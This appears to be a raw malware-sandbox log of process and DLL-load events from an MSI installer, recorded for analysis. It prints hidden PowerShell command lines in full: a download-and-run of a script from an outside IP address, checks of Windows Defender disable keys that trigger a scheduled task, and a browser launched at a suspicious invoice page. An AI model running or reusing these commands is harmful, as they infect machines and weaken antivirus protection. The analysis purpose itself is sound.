Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD40C.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssB9B.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4E65.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force \| Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FB3.tmp" "c:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss9AD3.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1297.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2970.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss3FBB.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6568.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8A88.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA5E4.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssB9B.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4E65.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss9AD3.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1297.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1956,i,12467281567636265380,10636997337395196544,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FB3.tmp" "c:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP"

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
